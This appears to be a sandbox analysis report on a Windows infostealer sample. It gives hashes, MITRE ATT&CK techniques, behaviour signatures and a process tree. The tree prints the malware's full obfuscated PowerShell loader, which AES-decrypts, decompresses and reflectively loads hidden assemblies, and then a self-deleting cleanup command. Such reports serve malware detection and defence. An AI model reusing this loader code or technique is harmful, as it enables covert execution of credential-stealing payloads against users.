bf7d44466f19258fb2ef69b1b945e9795c2afaeeea01294a2c30d996a78b64ca

Analysis

max time kernel
55s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
17/04/2023, 13:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 319KB
Sample230417-qrtcgsec98
SHA256 bf7d44466f19258fb2ef69b1b945e9795c2afaeeea01294a2c30d996a78b64ca
MD5 a8eb08ce490a300fc328bd9648eb6067
SHA1 79099ceaf41ffdf53ad3098627e7e9245dcec633
SHA512 0f6567ac0e5d5f7c92aadcdc0da3b06eb6bf060dc2faf4335f09bc3a7e74b6d663fed5043dfc38f5d2f2f5f27642af2cc131ad0b1ea53a1d178e2cc40351be8b
SSDEEP 6144:f9j76xnImFZ1MmF8QTU/urSinmX+t4YP8TfCPfQMvC6:1jOtvHMm5xvmX+t4YP8T6/K6
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

spyware stealer

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	5.bat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	file.exe

Executes dropped EXE 1 IoCs

pid	Process
3224	5.bat.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3224	5.bat.exe
3224	5.bat.exe
4568	powershell.exe
4568	powershell.exe
4568	powershell.exe
4568	powershell.exe
3224	5.bat.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3224	5.bat.exe
Token: SeDebugPrivilege	4568	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2360 wrote to memory of 3640	2360	file.exe	85
PID 2360 wrote to memory of 3640	2360	file.exe	85
PID 2360 wrote to memory of 3640	2360	file.exe	85
PID 3640 wrote to memory of 4652	3640	cmd.exe	88
PID 3640 wrote to memory of 4652	3640	cmd.exe	88
PID 3640 wrote to memory of 4652	3640	cmd.exe	88
PID 4652 wrote to memory of 3224	4652	cmd.exe	90
PID 4652 wrote to memory of 3224	4652	cmd.exe	90
PID 4652 wrote to memory of 3224	4652	cmd.exe	90
PID 3224 wrote to memory of 4568	3224	5.bat.exe	94
PID 3224 wrote to memory of 4568	3224	5.bat.exe	94
PID 3224 wrote to memory of 4568	3224	5.bat.exe	94

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2360
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4652
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe" -w hidden -c $fKjT='TrhxAqanhxAqsfohxAqrhxAqmFinhxAqalBhxAqlohxAqckhxAq'.Replace('hxAq', '');$bXtv='MhxAqaihxAqnhxAqMohxAqduhxAqlhxAqehxAq'.Replace('hxAq', '');$NFhf='LohxAqahxAqdhxAq'.Replace('hxAq', '');$jcVA='FihxAqrsthxAq'.Replace('hxAq', '');$qVOh='IhxAqnvhxAqokehxAq'.Replace('hxAq', '');$NNOV='SplihxAqthxAq'.Replace('hxAq', '');$Oqto='EhxAqnthxAqryPhxAqoinhxAqthxAq'.Replace('hxAq', '');$MZLw='ChhxAqanghxAqehxAqExhxAqtehxAqnshxAqiohxAqnhxAq'.Replace('hxAq', '');$efwW='GehxAqthxAqCuhxAqrrhxAqenthxAqPhxAqrocehxAqsshxAq'.Replace('hxAq', '');$DlBY='FrohxAqmhxAqBahxAqsehxAq64hxAqSthxAqrhxAqinghxAq'.Replace('hxAq', '');$IEyY='CrhxAqeahxAqthxAqehxAqDhxAqechxAqrypthxAqorhxAq'.Replace('hxAq', '');$vuRH='ReadhxAqLinehxAqshxAq'.Replace('hxAq', '');function wGpYM($nqpud){$rdybx=[System.Security.Cryptography.Aes]::Create();$rdybx.Mode=[System.Security.Cryptography.CipherMode]::CBC;$rdybx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$rdybx.Key=[System.Convert]::$DlBY('i/eUboJU88ca+XfzEiNvgR3ohk0GIheZO3zMh9UU59c=');$rdybx.IV=[System.Convert]::$DlBY('C1CctILYwj338KstRw+WwA==');$ZNFAw=$rdybx.$IEyY();$pDRUA=$ZNFAw.$fKjT($nqpud,0,$nqpud.Length);$ZNFAw.Dispose();$rdybx.Dispose();$pDRUA;}function CEAbX($nqpud){$oHtwv=New-Object System.IO.MemoryStream(,$nqpud);$sMhbJ=New-Object System.IO.MemoryStream;$RLgWn=New-Object System.IO.Compression.GZipStream($oHtwv,[IO.Compression.CompressionMode]::Decompress);$RLgWn.CopyTo($sMhbJ);$RLgWn.Dispose();$oHtwv.Dispose();$sMhbJ.Dispose();$sMhbJ.ToArray();}$LUDhs=[System.Linq.Enumerable]::$jcVA([System.IO.File]::$vuRH([System.IO.Path]::$MZLw([System.Diagnostics.Process]::$efwW().$bXtv.FileName, $null)));$uTtxU=$LUDhs.Substring(3).$NNOV(':');$JplvE=CEAbX (wGpYM ([Convert]::$DlBY($uTtxU[0])));$IZrQP=CEAbX (wGpYM ([Convert]::$DlBY($uTtxU[1])));[System.Reflection.Assembly]::$NFhf([byte[]]$IZrQP).$Oqto.$qVOh($null,$null);[System.Reflection.Assembly]::$NFhf([byte[]]$JplvE).$Oqto.$qVOh($null,$null);
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3224
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3224);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4568

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 13KB
SHA256 0eeb02488175ae36e0cacdb283b4710e0a8f06e470bc282d7143ef17227ac823
MD5 d41ad79d89ea9cd65a633b2c4690d1ff
SHA1 b8303942ef4eab93ce8ace740d8edbae6654648f
SHA512 ca8d42dbbd931985fcede7d0c486fdec4f34ac6f8ec603bb2cf8319dd2b4329a2b824411fba3c8c6d843a1f7b505d4986f5dcf36b13b69f2add0f3d1981530a0
SSDEEP 384:mb+rW/9i+Ql0jnzp7DJLiWo2TNK6seYkHUxQ/x4z3SoH73l8:iVMl0JBiWo2TNNPmQJmSi8
MD5 SHA1 SHA512 SSDEEP

Submit Download

5.bat

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat
Size 58KB
SHA256 5962c617fbab9ffbe0117ad72a221756217f4ba9f82af7f420a39506d23895d4
MD5 6fb76a1a249bd3fac45702ec9dd1737d
SHA1 bf0af38c7eb9c94af2e2417c4e4428064eb9f192
SHA512 80c33b13361655a0e16b136d399de8732e887ed5efa2f5da856fdc89f2b41940cb5841a37c9f153f7713b16863e0137809e2d2f0c471d2702f6d0881cb8df99a
SSDEEP 1536:uK2tN4BEs4GgalBuuMofW6ptRBDTWW/CPG7UzK:uKMmByG5lBZ9W6/rq+AK
MD5 SHA1 SHA512 SSDEEP

Submit Download

5.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe
Size 423KB
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

5.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.bat.exe
Size 423KB
SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_ts4qfp51.vs2.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ts4qfp51.vs2.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3224-162-0x0000000007C10000-0x000000000828A000-memory.dmp

Download

memory/3224-145-0x0000000005510000-0x0000000005B38000-memory.dmp

Download

memory/3224-149-0x0000000005BB0000-0x0000000005C16000-memory.dmp

Download

memory/3224-147-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/3224-155-0x0000000005D20000-0x0000000005D86000-memory.dmp

Download

memory/3224-160-0x0000000006260000-0x000000000627E000-memory.dmp

Download

memory/3224-161-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/3224-146-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/3224-163-0x00000000073A0000-0x00000000073BA000-memory.dmp

Download

memory/3224-148-0x0000000005390000-0x00000000053B2000-memory.dmp

Download

memory/3224-175-0x0000000007AB0000-0x0000000007B42000-memory.dmp

Download

memory/3224-176-0x0000000008840000-0x0000000008DE4000-memory.dmp

Download

memory/3224-144-0x0000000004DA0000-0x0000000004DD6000-memory.dmp

Download

memory/3224-178-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/3224-182-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/3224-183-0x0000000004ED0000-0x0000000004EE0000-memory.dmp

Download

memory/4568-184-0x0000000006E90000-0x0000000006F26000-memory.dmp

Download

memory/4568-185-0x0000000006240000-0x0000000006262000-memory.dmp

Download

memory/4568-177-0x00000000049B0000-0x00000000049C0000-memory.dmp

Download